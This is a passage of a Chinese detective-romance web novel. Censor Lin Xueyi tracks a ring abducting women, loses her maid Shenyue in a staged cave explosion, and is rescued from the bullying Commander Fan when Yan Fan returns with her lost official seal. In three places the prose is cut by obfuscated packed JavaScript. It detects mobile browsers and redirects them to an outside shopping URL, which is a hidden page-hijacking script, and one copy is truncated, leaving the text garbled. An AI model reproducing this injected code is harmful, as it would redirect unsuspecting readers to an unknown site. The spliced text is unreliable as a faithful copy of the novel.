晏返避开她的目光点点头,按了肩周几处穴道,然后隔着衣袖上的布料捏住毒针,闷哼一声将它拔出来丢在了地上。 “那……那你怎么样?”林雪意颤声问道,一时间有些自责。刚才若是按他说的先行返回,他也不会因为她被暗器所伤。 晏返喘息片刻,抬手抹了一把冷汗,似乎好了些,这才转头看她,唇角凝起一点笑意:“小毒罢了,还不至于让你守寡。” “你……”林雪意当即恼了,鼻子立刻也不酸了,气鼓鼓骂道,“登徒子!” 这二世祖还能在嘴上占她便宜,看来确实死不了。但她到底是有些担心,又道:“那我们赶紧去找大夫。” 晏返却弯起眉眼,冲那暗格抬了抬下巴,对她道:“现在没事了,先去看看吧。” 林雪意走到暗格附近,取出了火折子照亮。 暗格很深,里面整整齐齐地叠放几口箱子。 她打开几只箱子看了看,有的箱子里装的是排列整齐的银锭,有的则装着金银珠宝。其中一只箱子的内壁一侧,还放着一个木匣。 她取出木匣打开,就见里面是一本账册,底下还有一份名单。 账册里不仅记录了一些珠宝的收进日期、名目、数量以及兑换折合的银两,还记录了向一些人支付银两的情况,其中冯玉的名字赫然在列。 而那份名单里,均是林雪意曾在卷宗中看到的失踪女子的名字。 林雪意将账册跟名单收进怀里,又将暗格恢复成原来的样子,以免在官府来查抄前被人看出蹊跷。 她走到晏返旁边,拉过他的手搭在自己肩上,尝试扶他起来。 “你如何了?能走得动吗?”她想要将他撑起来,却发现这比她想象得要难。晏返平日里穿着招摇,看着像个花架子,实际体格却并不瘦弱。 鼻尖传来幽幽的香气,晏返却全身一僵。他几乎是颤着手将林雪意推开,胸口却像是有虫蚁在噬咬,似乎在贪恋方才碰触到的温软。 “你怎么了?”林雪意见他惨白的脸上涌起不自然的红,不由心中一沉,“是不是毒扩散了?” 眼见面前的人一双细眉轻轻蹙起,眼底似有水波闪动,晏返只觉得心头躁动,气息紊乱。 他提起一口气,却不知为何,似乎连心也轻轻提起了,放柔了的微沉语声不由滑出唇畔:“别慌,我无碍。” 他想了想,又补充道:“墨云手脚快,你吩咐他的事,他多半已经办好了。我现在乏力得很,你快些去寻他来帮忙,我就在此处等着。” 林雪意闻言垂下了目光。 晏返所言,其实有些冒险。但此时夜还未深,秦府中尚有人来来往往,以晏返此时的状态,她若是强行扶他出去,很难不被人发现。 她思忖片刻,还是点了点头,同意了他的办法。 “那你千万小心。” 林雪意起身走出库房掩上门,接着便匆匆奔向秦府后门。她不敢耽搁,离开秦府后匆忙跑了一阵,总算在半道上遇见了向这边而来的墨云。 墨云听了林雪意所说登时面色一变,即刻跟她向秦府赶去。 两人按原路进入秦府后院,又绕行到库房,一路上没有听到什么动静。 见库房的门还是如她离开时那样虚掩着,林雪意暗暗松了一口气,可是当她推门而入,视线落到方才晏返靠坐着的地方时,顿时呆立当场,脸色煞白—— 墙边早已没有了晏返的身影,只有一滩暗红的血迹。 “世子人呢?”墨云也是大惊,在库房中四处搜寻起来。 林雪意只觉得心狠狠一沉,艰难地开口:“他方才明明还在……” 她努力让自己冷静下来,想起了不久前被晏返丢在地上的毒针。如果回溯银针,说不定可以知道她离开后发生了什么。 她立即取出火折子在血迹周围找了片刻,却意外地没有找到银针。她只得同墨云一样四下查看,竟连银针的影子都没见着。 一股寒意从心底升起,林雪意手脚冰凉,耳边嗡声一片。 她没想到事情会变成这样,否则她刚才说什么都不会离开。 “大人,或许世子是自行离开的。”墨云找遍库房里外一无所获,见林雪意面色吓人,忙道,“他中了毒应该走不远,不如我们让马知县加派人手帮忙寻找。” 林雪意听了墨云的提醒,立刻稳了稳心绪,跟他一起回衙门向马知县说明了此事。 明远候世子去了犯人家中后不知所踪,这事差点让马知县昏厥过去。他硬是撑着一口气部署下去,让衙差立刻上秦府搜寻,说是就算掘地三尺也要把世子找出来。 如此过去了半夜,惊动了秦府周遭一片,却始终没有找到晏返。 林雪意风尘仆仆地从秦府回到衙门,转身就去了地牢。 地牢夜间更加昏暗,空气里似乎流着冷雾,森冷寒意直入肺腑。 关押秦卓的牢门被打开,林雪意走进牢房,只见秦卓正合着双目靠在墙根。 秦卓听到动静眼皮动了动,却不睁眼。 林雪意知道他只是假寐,冷声道:“秦卓,你藏在库房的账册跟名单我都已经找到。你伙同冯玉诱拐女子,证据确凿。你还想抵赖吗?” “哦。”秦卓脸上却无一丝惊慌,声音冷淡地道,“那真是恭喜大人了。” “你拐骗女子究竟意欲何为?” “大人如此英明神武,竟然查不出吗?”秦卓说着睁开了眼,眉间浮起讥笑的神色,那双浑浊的眼睛里透着一股邪气的精光,“那更好了,我死罪难逃,她们还能给我陪葬!” 林雪意难以置信地看着已经面容扭曲的秦卓,压抑心头怒意问:“我且问你,你在暗格里设置的暗器,上面究竟是什么毒?” “暗器?这么说是有人中暗器了?”秦卓眼皮一挑,目光森然,微弱的烛光打在他脸上,将他的唇边绽开的笑容勾勒得诡谲非常,“据说那是世间剧毒,见血封喉,中毒之人一定已经死了吧?又来一个垫背的,哈哈哈哈哈……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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既然秦卓不肯交代他拐骗女子的目的,那么她只能先行找出那些女子被关在何处。 林雪意简单用素簪盘了个髻,接过深月递来的巾帕擦了擦脸,就匆匆往县衙的架阁库走去。 她走到架阁库的时候,听闻风声的主簿已经将有关那些失踪女子的卷宗都理出来摆好了。 林雪意埋头翻阅起案卷,想看看之前是否有什么遗漏之处,一时之间却没有什么收获。 马知县从外头进来,在书案前迟疑了片刻才道:“大人,据衙役禀报,那曹氏至今在府中未出。下官觉得,她大有可能不会出门了。” 林雪意这才抬头看向马知县,轻叹了口气:“这倒也不奇怪。” 原本她想着,曹氏是秦卓在入狱后唯一接触过的人,秦卓要是想向外头传递消息,那必然只能通过曹氏。可是昨夜晏返失踪打乱了她的计划,官兵直接找上门去已经是打草惊蛇,即便是曹氏接收过秦卓的交代,也万不会轻举妄动。 “秦府可还有其他人出去过?” “那倒是有。”马知县有些勉强地笑了笑,道,“毕竟那么大一户人家,人人都要吃穿,也得上街采买不是?” 林雪意点点头,手中翻开新的一卷,随口问道:“可知他们都去了何处?” “无非是去裁缝铺子买布,去菜市口买菜,去渡口渔船上买鱼罢了,谁家不是这样呢?” 听马知县浑不在意地说着,林雪意突然心头一动,翻着书页的手不由顿住。 她眼睫颤了颤,问:“马大人,您方才说什么?” 32. 爆炸 “啊?”马知县以为自己无意中说错了话,支吾道,“下官是说,寻常人家过活,都是这样。” “不,是您说的上一句。” “啊,上一句……”马知县摸着胡子想了想,道,“去渡口渔船上买鱼?” “正是。”林雪意眼睛一亮,道“马大人,我可否看看此地的县志?” 马知县立即吩咐主簿把泤水县的县志整理出来,林雪意翻开了其中记录泤水县地理的一册,心中恍然—— 她知道那些女子被藏在哪里了。 · 青州多山,因此多处交通不便。 唯有泤水县因有一条大河直通南北,因此水路贸易兴盛,沿河一带十分繁荣。 据县志记载,泤水河百年前出现过一次枯水期。当时河面下降,受水流冲击的山腹出现过一处洞穴。 当时曾有数人驾船入洞,描述说洞内别有洞天,只是附近水流湍急,想要入洞并不容易。后来雨水充沛,未及官府查证,水面就已上涨,那处洞穴再次被淹没在水下。 “青州的岩石质地较别处不同,有些地方十分坚硬,有些地方又很脆弱,久而久之,山体受流水冲击,便会有洞穴产生。”林雪意向墨云和深月解释说。 墨云明白过来,道:“大人是觉得,被拐的女子是被关在河道附近的洞穴中?” “可是沿河的山那么多,若是一处一处找过去,不知道要耗费多少时日。”深月有些为难地说。 林雪意扬了扬柳眉,道:“所以,我们要让那些人带我们去。” “那些人?”深月不明所以。 “马大人说,秦府的人去过渡口。”林雪意提醒她道,“卷宗上记载的失踪女子之中,有几人是出去捕鱼的时候不见的。” 墨云已经反应过来,先一步道:“平日里同秦卓联络的人,一定就隐藏在那些渔民之中。而且,那些捕鱼女子的失踪,背后就有这些人在推波助澜。” 深月被墨云抢了先,有些不服气地瞥了他一眼,道:“可是秦府的人肯定已经把消息放出去了,说不定他们都已经跑没影了。” “不,他们不会。”林雪意笃定地说。 原本她还觉得奇怪,秦卓谋害秦大老爷本来就是死罪,但他却不肯供出自己联合冯玉诱骗秦苒悦之事。昨夜她已经找到了秦卓拐骗女子的证据,但秦卓却不肯透露拐骗她们的原因。 唯一的解释就是,秦卓是在听令行事。甚至,他可能还寄希望于差他做事的人,能让他免于这场灭顶之灾。 秦卓私藏的那些珠宝不是寻常之物,足可见背后的人大有来头。 虽然现在还不知道秦卓背后的人是谁,但拐卖人口是重罪,会如此兵行险着只能是因为有利可图。而秦卓于他们而言,不过是一颗棋子。 他们不会因为一颗棋子就收手。 “我重新整理了一遍那些女子的生辰,发现几乎全是介于小寒和大寒这两个节气之间。他们一定还会伺机找符合条件的人下手。”林雪意说着看向深月,道,“我们可以利用这一点引蛇出洞。” 深月闻言脸色一变,不由皱起了眉头:“姑娘,你是打算去做诱饵?” 林雪意坦然地点点头,道:“眼下人心惶惶,风头正紧,他们要找人下手恐怕不易。如果有人暴露在他们面前,他们是不会放过这个机会的。” “可是这样太危险了。”深月劝道。 “是啊,大人。”墨云也道,“或许我们可以找其他人来假称生辰。” 林雪意正色道:“正因为有危险,我才不能假手他人。” “那……”深月犹豫片刻,下定了某种决心般,道,“让我去。” “不成!”林雪意眉心一蹙,拒绝了深月的提议。 “姑娘,我不怕危险。”深月坚持道,“而且自姑娘升堂审案后,很多人都认得姑娘了。我不一样,不会有什么人注意到我。只要我出去散布消息,那些贼人就一定会上钩的。” 林雪意知道深月说得有道理,却还是摇了摇头,道:“我不能让你去冒险。” 深月握住她的手摇了摇,央求道:“姑娘,你一定是打算让墨云在后头跟踪对不对?我相信以他的本事,一定可以保证我的安全。” 听到这话的墨云不由一怔,神情古怪地打量深月。平时她对他总是横眉竖眼的,他是第一次听到她夸他,真是太阳打西边出来。 深月又接着道:“而且万一发生了什么意外,有姑娘在衙门坐镇,大家都会放心一些。” 林雪意沉默了一阵,终于点头答应。 计划紧锣密鼓地安排起来。 林雪意让一个衙差便装出行,带着深月去城中各处转转,逢人就说她是来投奔他的表亲妹妹,因为今日生辰,所以各处采买,准备庆祝一番。 墨云暗中跟着深月,县衙中的其他衙役则是乔装之后沿着河道埋伏。 到了申正时分,带着深月出行的衙差先行回来复命,说是深月假装跟他分头买东西的时候,同意了一个渔夫的提议,坐上他的渔船出去捕鱼了。 “那渔夫看着是个生面孔。”衙差回忆起渔夫的样貌,道,“卑职认为,他很可能就是贼人假扮。” 林雪意下意识地微微收紧了手掌,问:“墨云可是跟上了?” “大人放心,墨护卫坐了另一条船缀在后头。卑职看那渔船走向,都在我们的监视范围内,当是无碍。” “好。” 等到衙差退下,林雪意在衙门里头踱起步来。 沿河埋伏的路线都是经过周密部署,墨云的武艺可以以一当十,深月又是机灵的性子,应该是万无一失了。 但她却不知为何,就是放不下心来。 眼看日头一点一点地西斜,却没有一点消息传来,林雪意只觉得自己的眼皮在突突地跳。 直到日暮时分,外面终于传来了匆忙的脚步声。 她一转头就见马知县脸色凝重地从外头跑进来,一边大声疾呼:“大人,不好了!” 林雪意猛地呼吸一滞,心脏就像被一只无形的手猛然攥住一般。她竭力定了定神,快步走向马知县,问:“怎么了?” “哎!人跟丢了!山洞塌了!”马知县一时语无伦次,手忙脚乱起来,他以拳锤掌,哭丧着脸道,“大人,您随我去看看就知道了!” 林雪意陡然生出了一种错觉,她的身体好像已经不是自己的,只是木木然地冲出县衙,跑到渡口,跳到船上,在船行了到一处芦苇荡里停下后,又毫无知觉地闯入芦苇丛中…… 根据回去禀报的衙役说,他们原本沿河埋伏,却遭到贼人偷袭,被捆了丢在了芦苇荡里。后来墨云出现救了他们,另一头的深月却被贼人掳走。他们当即赶上去,眼看就要将深月抢回来,对方却逃进被芦苇遮掩的洞口,丧心病狂地点燃了炸药。 如血残阳已经沉入山的另一头,芦苇荡里渐次亮起了火把。 在摇曳的火光中,原本高过人头的芦苇丛被碎石压得东倒西歪,遍地狼藉,其间四散着负伤的衙役。 在火光最盛之处,林雪意看见了墨云,他的脸侧手上赫然布着许多血痕,但他却像无知无觉一般,不停地搬开跟前堆在山壁底下的石块。 “墨云!”林雪意叫住了他。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211280|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >随着自己出声,林雪意原本悬空漂浮的思绪终于兜头落下,心口的钝痛跟脚底的疼痛顿时在她身上漫开。 墨云闻声转过头来,怔怔地看着她片刻,而后才如梦初醒般朝她走过来,低头跪下:“大人!” 林雪意看看前方堆叠的巨大碎石,又看看面色惨白的墨云,终于问出了自己这一路上都不敢问出口的话:“深月在哪里?” 面前整个山洞都被炸塌了,那深月呢? 墨云赤红着双眼看向身后炸成了碎片的洞口,脸上一点血色都没有了。他嘴唇颤了颤,道:“属下办事不力,请大人责罚!” “是我计划有失,不是你的错。” 林雪意听见自己浑浑噩噩地对墨云说了这句话,然后走到了那堆高有数丈的碎石前。 视野里出现了古怪的水痕,映入眼底的周遭景物都扭曲起来,寒夜的朔风一吹,脸颊便感到了刀割般的疼。 从县衙派出的援兵已经加入了山洞的挖掘,乱尸堆中,间或会发现一具血肉模糊的尸体。也不知过了多久,碎石终于被清空,露出了后头无法撼动的高耸巨石。 林雪意似无所觉,只是一动不动地站着,马知县的声音在身边响起:“大人,这些石头仅靠人力是搬不动了。我们还是先回衙门,从长计议吧。” “你们先回去吧,我想再留一会儿。”林雪意嘶哑着声音说。 “可是……”马知县一脸为难,踌躇了片刻才道,“这都快过去一夜了。您不回去,谁都不敢走啊。” 林雪意转头望了一眼四散而坐的衙役,他们多是脸色颓败,很多人被爆炸波及,伤得不轻。即便是一直在清理石块的墨云,手上蜿蜒的鲜血也早已凝固。 她深吸了一口气,努力让声音听起来平静一些,道:“那便走吧。” 林雪意站在小船上,看着坍塌的山洞离自己越来越远。 视野中有什么细碎的东西掉落下来,阻隔了她的视线。她抬头一看,冰凉的雪片落在了脸上。 又下雪了。 回去的一路上,林雪意走得很慢,思绪飘得很远很远。等到头上肩上全是雪花,她终于走到了县衙门口。 就在她步上石阶的时候,从不远处传来了一阵马蹄声,一道陌生的声音紧随而至:“这位姑娘,敢问明远候府的世子可是住在此处?” 林雪意借着县衙门口的灯光看去,就见一个驿使打扮的人正翻身下马,朝这边走过来。 她怔然片刻,不知他的来意,只点了点头。 “那太好了,劳烦姑娘将这个交给世子。”那人说着从身上背着的布兜里掏出了一件东西递过来。 “这是……”林雪意垂眸一看,发现是竟一个粉青釉的茶叶罐。 驿使笑着解释:“小的乃城中驿站的信使。昨日世子到驿站吩咐小的捎信去明远候府,后来侯府的管家看了信,就让小的加急把这茶叶送来了。” 林雪意脑袋钝钝的,有些云里雾里,直到驿使告辞离开,她才想起打开看看。 盖子一打开,一股浓郁古朴的香气就轻轻散出来。 林雪意觉得这气味有点熟悉。她将罐子托到鼻子底下嗅了嗅,发现这好像是甘露茶的香味。 此地就盛产甘露茶,晏返为什么还要让侯府捎茶叶过来? 而且还是在……昨日? 昨日白天发生的种种,如倒映在镜子碎片中的画面一般,陡然浮现在她眼前—— 一开始,她跟深月在泤水河畔的面摊用了早饭,后来她们又去流云轩见了秦永…… 林雪意心头猛然一凛,抓着茶叶罐的双手不由自主地颤抖起来。 33. 驻地 林雪意转身看向一直远远跟在她身后的墨云,叫道:“墨云!快随我来!” 后头的墨云一怔之后,立刻赶了上来。 “墨云,那个山洞一定另有出口。”林雪意脚不停步,说着就一头扎进架阁库,翻起卷宗跟县志来,“浅滩上的洞口被炸毁,是他们在掩人耳目。” 墨云惊愕地望着她,晦暗的眼瞳幽幽发亮,一时说不出话来。 林雪意翻了一阵,抬起头对他道:“墨云,深月一定还活着。你快请马大人过来。” “是!”语声落下之际,墨云已经没了影。 不一会儿,外头就响起了马知县的脚步声。 “大人,下官听说案子又有了进展?”马知县一进来就疑惑地问,“可是那伙贼人不是已经炸掉山洞,畏罪自戕了吗?” 林雪意肯定地摇摇头,道:“若真是畏罪自戕,那么他们行事跟动机并不一致。” 马知县听得有些糊涂了,问:“这又是从何说起?” “假若他们是走投无路,因此起了自戕之心,又怎么会再起拐骗女子的心思?”林雪意反问道。 “那……”马知县想了想,道:“或许是他们在作案时才发现已被官府盯上,因此才临时起意,点燃炸药打算同归于尽?” “不,不对。”这下墨云也反应过来,立即道,“那处洞口靠近河流,四周潮湿,不能长期放置炸药,那些炸药是近日特意布下的。他们是故意在今日炸毁山洞的。” “对。”林雪意点了点头。 那些人早已发现衙差的埋伏,却并未下杀手,只是将衙差捆起来,而后又当着他们的面掳走深月,简直就像是故意要将衙门的人引过去。 他们当着那些衙差的面炸掉山洞,根本就是刻意做给别人看的,为的就是要让人以为,他们已经全部被掩埋在这场爆炸的乱石之中。 林雪意接着道:“他们并不是真的要自毁,而是想要弃卒保车,假装在这场爆炸中覆灭,好让我们放弃追查。” 马知县这才明白过来,道:“所以大人认为,那洞穴还有别的出口?” 林雪意将桌上理好的案卷往马知县墨云前面推了推,目光灼灼:“另一处出口,就在云雾山上。” 卷宗上记录在册的失踪女子之中,除了以私奔的由头被诱拐之外,有一些是捕鱼的时候失踪的,她们被掳走的方式应与今日深月被抓的情景大致相同。 然而,最初失踪的几个女子是上山采药的时候不见的,若是人为,那必定是在山上有便宜行事的隐蔽处。否则在山上抓了人,如果是明着下山,不会每次都没有人瞧见。 方才看到驿使送来的茶叶,她便想起了昨日在流云轩里,秦永同她说过的话。 秦永说,在云雾山上,山腰以上的茶园被划为贡茶,还专门派了官兵看守。她刚才翻看了县志,朝廷大约是在两年前指派了都督府的范都事领兵驻守云雾山。 而按卷宗记载,泤水县中的女子失踪案,失踪的地点从山上转移到河道的时间跟都督府驻军的时间大致吻合。 因此她推测,洞穴另一出口就在云雾山山腰往上的位置。就是因为那片区域后来被官兵包围,贼人无从施展,所以才转移了作案地点。 既然方便他们出入的浅滩处洞口已经坍塌,那他们定然会伺机从山上的洞口逃脱。 天际已有转亮的势头,林雪意立即让马知县拟好文书,又带上墨云和一批衙役,朝云雾山出发了。 马车到达云雾山脚下时,风雪才堪堪停下。 此时天色已大亮,仰头望去,整座云雾山都笼罩在皑皑白雪中。 雪天路滑,山路更是难行,林雪意跟马知县领着一众衙役到达半山腰的驻军之处,已是一个时辰之后。 前方山道被一道拉起的铁索截断,铁索之后,每隔一段距离都立着都督府的旌旗。 众人刚走到铁索边,就有一名士兵走过来。他按住腰间横刀,狐疑地打量他们,最后视线落在怀中抱剑的墨云身上。 马知县连忙递出手中文书,分外客气道:“在下乃此地县令,有要事求见范都事,还请代为通传。” 那士兵一言不发,只管接过文书转身朝远处的军帐走去。不知是不是因为他脚有些跛的关系,他走起路来似乎分外地慢。 等到对方走远,马知县便有些不悦地向林雪意道:“大人有所不知,那范都事惯爱拿乔,如今就连这区区小卒都有样学样,如此怠慢。” “这又是为何?”林雪意有些不解。据她所知,若论品级,马知县比范都事还要高上一级。 “嗨!”马知县抱怨道,“只因都督府并不受州府管制,乃是受朝廷直接委派,即便是州府办事都要看他们眼色,何况是下官呢?” 像是验证了马知县说的话似的,他们等了好一阵之后,才有人重新从帐篷里走出来。 那范都事身穿铠甲,满脸横肉,膀大腰圆,他重重地踩着脚下的雪,懒懒地抬眼扫过来。他身后还跟着几个士兵,手上或搬或拿,皆有器物,靠椅、火盆、盖毯、茶具……一应俱全,众人不由目目相觑。 “你是马知县吧?”范都事瞥了马知县一眼,在身后士兵摆放好的靠椅上坐下,然后转而看向林雪意,“你就是马知县在文书里说的监察御史?” “正是在下。”林雪意闻言拱手行礼,道:“贼匪狡猾,藏匿山中,请范都事助我们一臂之力。” “不成。”范都事一双小眼睛陷在眼眶里,目光中满是不屑,懒洋洋道,“我奉命驻守此地,只按皇命行事。你们想搜查,就先请奏圣上。” 林雪意近前一步,正色道:“范都事既唯皇命是从,可见是忠君爱民之人。如今贼匪残害百姓,事急从权,还望范都事与本官同仇敌忾,剿灭贼匪,为民除害。” “混账!”范都事踢了一脚在他脚边安放火盆的士兵,伸手在火上烤了烤,才重新将目光落回林雪意脸上,轻哼一声道,“林大人真是好大的官威啊。” 一众衙役见范都事行事,哪还看不出他是有意刁难,一时脸上都有愠色,却又不敢发作。虽然他们擒贼心切,但此处毕竟是驻地,若是争执起来,他们并讨不着好。 林雪意刚要说话,就听见而后传来破空之声,她连忙抬手阻止了身后已经拔剑出鞘的墨云,淡淡道:“墨云,不得无礼。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234537|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 墨云欲言又止,最终还是收回了剑。 “哎,这才对嘛。”范都事眼中得意之色更甚,悠悠然地喝了一口旁边士兵递来的热茶,嘲讽道,“何必狗急跳墙呢?” “范都事啊,”马知县适时出来打圆场,满脸堆笑道,“您看这大雪天的,我们难受,您也难捱,不如就您就行个方便,通融一下?若抓到了贼人,对您也是功劳一件呀。” 范都事看了看马知县,面上浮起些戏谑之色,伸出指头朝这边点了点,道:“你说得也有道理。与人方便,自己方便。这样吧,那个谁,只要他给本都事跪下磕三个响头,我就考虑考虑如何?” 众人不由脸色一僵,循着他手指的方向看去,发现他说的竟是墨云。 墨云脸上闪过一丝意外之色,他微微一顿,攥紧了拳头,咬着牙负剑在手,作势要跪下。 “慢着。”林雪意冷声道。 “哦?林御史有何高见啊?”范都事在靠椅上挪了挪壮硕的身体,看戏一般看着林雪意,懒散地问。 眼见对方极尽傲慢,林雪意反而不怵他了。她冷冷瞥他一眼,道:“范都事,你若真是把墨云当狗,那便该知道,打狗也要看主人。墨云非公府中人,乃是明远候府第一护卫,更是常随世子左右。我一介御史,官微地位,你可以不放在眼里,但你想动我明远候府的人,还需掂量掂量!” “你!”范都事没想到林雪意会这般顶撞他,当即涨红了脸,活像一只红灯笼。 “我怎么了?我说得不对吗?”林雪意眼中轻蔑之色更甚,看对方就如看笑话一般,道,“况且本官奉命出京,乃是代天子巡狩,大事奏裁,小事立断。这些贼匪与圣上交代本官所查之案有莫大的关系,若你耽误本官办案,到时候圣上问罪下来,你担待得起吗?” 范都事被气得说不出话来,脸上红一阵白一阵的,指着林雪意的手直发颤。 县衙众人只觉得大快人心,若不是念及此时还在驻地,他们都要拍手叫好了。 林雪意心中冷笑。 她的父亲身任御史,在京官遍地的京城中实在微不足道。久而久之,她便学会了谨言慎行。但这并不代表,她对人情世故就一无所知了。 像范都事这样欺软怕硬的人,只看权势,不讲情理,对他好言相待并没有用,只有以其人之道还治其人之身才能收拾他。 “放肆!”范都事挥手将旁边士兵捧在手中的茶盏打落在地,怒气冲冲地扯开腿上的盖毯扔在地上,眼神凶恶,“都督府驻地可不是什么阿猫阿狗都能造次的!林御史不是要搜山吗?那你在县衙文书上加盖大印,我便放你们进去,如何?” 马知县等人面露喜色,林雪意却微微颤了颤眼睫—— 马知县他们不知,她的官印已在四天前掉下了山崖。 觉察到林雪意的迟疑,范都事唇边勾起了一道弧度,冲她抬抬眼皮,故意拖长了声音道:“怎么?你一个掌印御史,该不会没有大印吧?” 林雪意闻言心中一凛,方才发生的种种一一从脑海中闪过,眼底不由掠过一抹惊诧。 范都事并不是对她让步,而是他吃定了她拿不出官印! 34. 打脸 林雪意心念急转。 官印丢失的事,除了她和深月,就只有墨云和晏返知道了。虽然她让晏返派人寻找,但以晏返为人,不太可能会从他那边走漏消息。 那么范都事为什么会知道? 他不但知道,而且似乎对墨云怀有一股莫名的敌意。不仅是他,就连一开始替他们通传文书的士兵,好像都相当在意墨云…… 电光石火之间,林雪意想到了一种可能。她本能地后退一步,脸色煞白——恐怕当日那些追击她的杀手,就是范都事派人假扮的! 虽然多数杀手被后来赶到的黑衣人所杀,但是她记得墨云曾说他跟几个杀手缠斗过一阵。或许就是其中有人没有毙命,还趁他们脱险不备之时,偷听到了他们的对话。而活着回来的士兵误以为是墨云杀了他们所有人,所以范都事便记恨上了他。 四下里一点人声都无,气氛顿时凝重起来。 一片雪花倏然飘过众人眼帘,继而周围便有大片雪花簌簌落下。 “大人,”马知县见林雪意不作声,还以为她是走时匆忙,没来得及将官印带上,低声提醒道,“若是官印忘在县衙,倒也无妨,我们多跑一趟,去取来便是了。” 林雪意摇了摇头。 她不仅是觉得回一趟县衙无济于事,更是觉得,此事已经瞒不了多久,想要除掉她的人定然不会放过这个绝佳的机会。 不论进退,皆是危机。 林雪意转头看向墨云,就见墨云面色极冷,手已经按在了剑柄上。 心头像是绷直了一根弦,窸窸窣窣落下的雪像是全都掉在了她的心弦上,让她如履薄冰。 “御史大人是真的拿不出啊?”范都事故意表现出吃惊的样子,一双小眼睛在眼窝中抖了抖,“这可是要杀头……” 他话未说完,前方忽然就响起一道重物破空之声,有什么冰凉坚硬的东西在他的视野中蓦然放大,紧接着在他的鼻梁上砸了个正着。 范都事只觉得自己一时间晕头转向,一股热流从鼻孔中涌出。他抬手一擦,手背就蹭上了一滩鼻血,鲜红血色让他瞳孔一震。 他又惊又怒,冲那硬物抛来的方向吼道:“何方狂徒,竟敢用暗器偷袭本都事!” 这情况过于突然,林雪意等人也俱是一惊,转身朝那方向看去,皆是一怔。 只见雪幕中一道颀长挺拔的身影正持伞而来,伞面缓缓抬起,露出伞下一双神采飞扬的俊美星目。 林雪意瞬也不瞬地望着那人,就见对方唇角噙着一点得意的笑,清醇嗓音懒懒道:“烦请范都事睁大眼睛看看,那可不是什么暗器。” 他说完便弯起眉眼冲林雪意一笑,一双乌黑眼瞳仿佛点染了星光。 “世子!”墨云激动出声,往晏返的方向跑了过去。 林雪意很快会意,低头一看,发现方才砸在范都事脸上的东西已经掉落在地。她俯身把那东西捡起来,揭开外面包着的绸子,就看见里头是一枚完好无损的官印。 “夫人,对不住。”晏返走上来,将伞盖过林雪意头顶,优哉游哉地道,“我见范都事急着要看官印,一时手快,你快看看它有没有被弄脏了。” 林雪意哪里还看不出来晏返是故意使坏,但众目睽睽之下,她只得先圆过来。她忍住心中好笑,扬起唇角望他,道:“是我走得太匆忙,多谢夫君特意送过来。” 这一句“夫君”入耳,晏返便怔在原地。他唇角的笑意轻轻一僵,继而又笑得更深了些。 马知县等人虽然还不清楚发生了什么,但是原本失踪的世子突然出现,而且还安然无恙,登时心中一块大石落下。 他看向被官印砸了个结实的范都事,本想略表关心,但是见他鼻梁乌青,额头上还印出些官印的纹路,差点憋不住笑出来。 “你……你们……大胆!”眼前情势急转,范都事简直气不打一处来,一脚踹翻了地上的火盆,怒道,“此乃驻军重地,岂容尔等放肆!” “怎么?”林雪意视线一转,冷冷看向范都事,道,“官印在此,范都事难道想出尔反尔?” 她目光一凛,身后墨云跟一众衙差都拔出刀剑,雪地里顿时刀光剑影,一片肃杀。 她当着在场所有人的面,扬声道:“范都事,你三番两次推拒搜查,难道是想窝藏贼匪吗?还是说,你们原本就是一伙的!” “你……你污蔑我!”官印的出现已让范都事感到惊惶,再看林雪意成竹在胸的样子,他心中更是不住地打退堂鼓。 “请范都事配合官府查案!”林雪意朗声道。 “请范都事配合官府查案!”她身后的人也齐声喊道。 眼下冰天雪地,范都事却觉得自己后背都湿透了。他认命般地抬起已经汗湿了手心的手挥了挥,示意士兵打开铁索。 一众衙役鱼贯而入,一盏茶的时间过后,四处搜查的衙役就在山腰往上没多远的位置发现了一处洞口。 墨云立即带着人进洞搜查,不多时,洞穴里便传出了兵器相交之声。 林雪意也想进去,却被晏返拦住。 “放心交给墨云吧。你若跟进去,他难免要瞻前顾后。”晏返道。 林雪意觉得他说得有道理,但心念一转,不禁又疑窦丛生,仔细打量着晏返,问:“晏世子,你又是从哪里冒出来的?” 她原本以为,县衙找人闹出那么大的动静,若晏返当时是自行离开秦府,即便官府是借口搜捕疑犯,他也应该知道是在找他,会自己出现才是。因此,她更倾向于认为,他是被那个指使秦卓的人拘禁起来了。 但是他今日却忽然出现,且看着完好无损,她虽然心中庆幸,却也无法不感到奇怪。 晏返清咳一声,道:“此事说来话长。那日你离开后不久,我就在那铜鼎里找到了解药。我服了解药后感觉好了很多,又担心留在那里会被人发现,就先行离开了。” “真的?”林雪意狐疑地看他两眼,心想哪有那么凑巧的事,但是眼前的晏返看起来脸色如常,确实不像中毒之人。 “当然是真的。”晏返用力点了一下头,接着道,“我本来要去找你们,但是在半路上碰到了我先前派去找官印的人,说官印掉进了一处蛇窟里。” “当真?”晏返所说过于离奇,林雪意不由怀疑他是在胡诌。 “骗你做什么?”晏返信誓旦旦地道,“我担心迟则生变,当即就赶过去了。幸好现在是严冬,许多蛇都没醒,我们费了些功夫就把你那包袱拿到手。” 见林雪意还是将信将疑,晏返又道:“这不,我快马加鞭赶到县衙的时候,衙门里的人说你们来搜山了。我想你或许要用到官印,就给你送来了。” 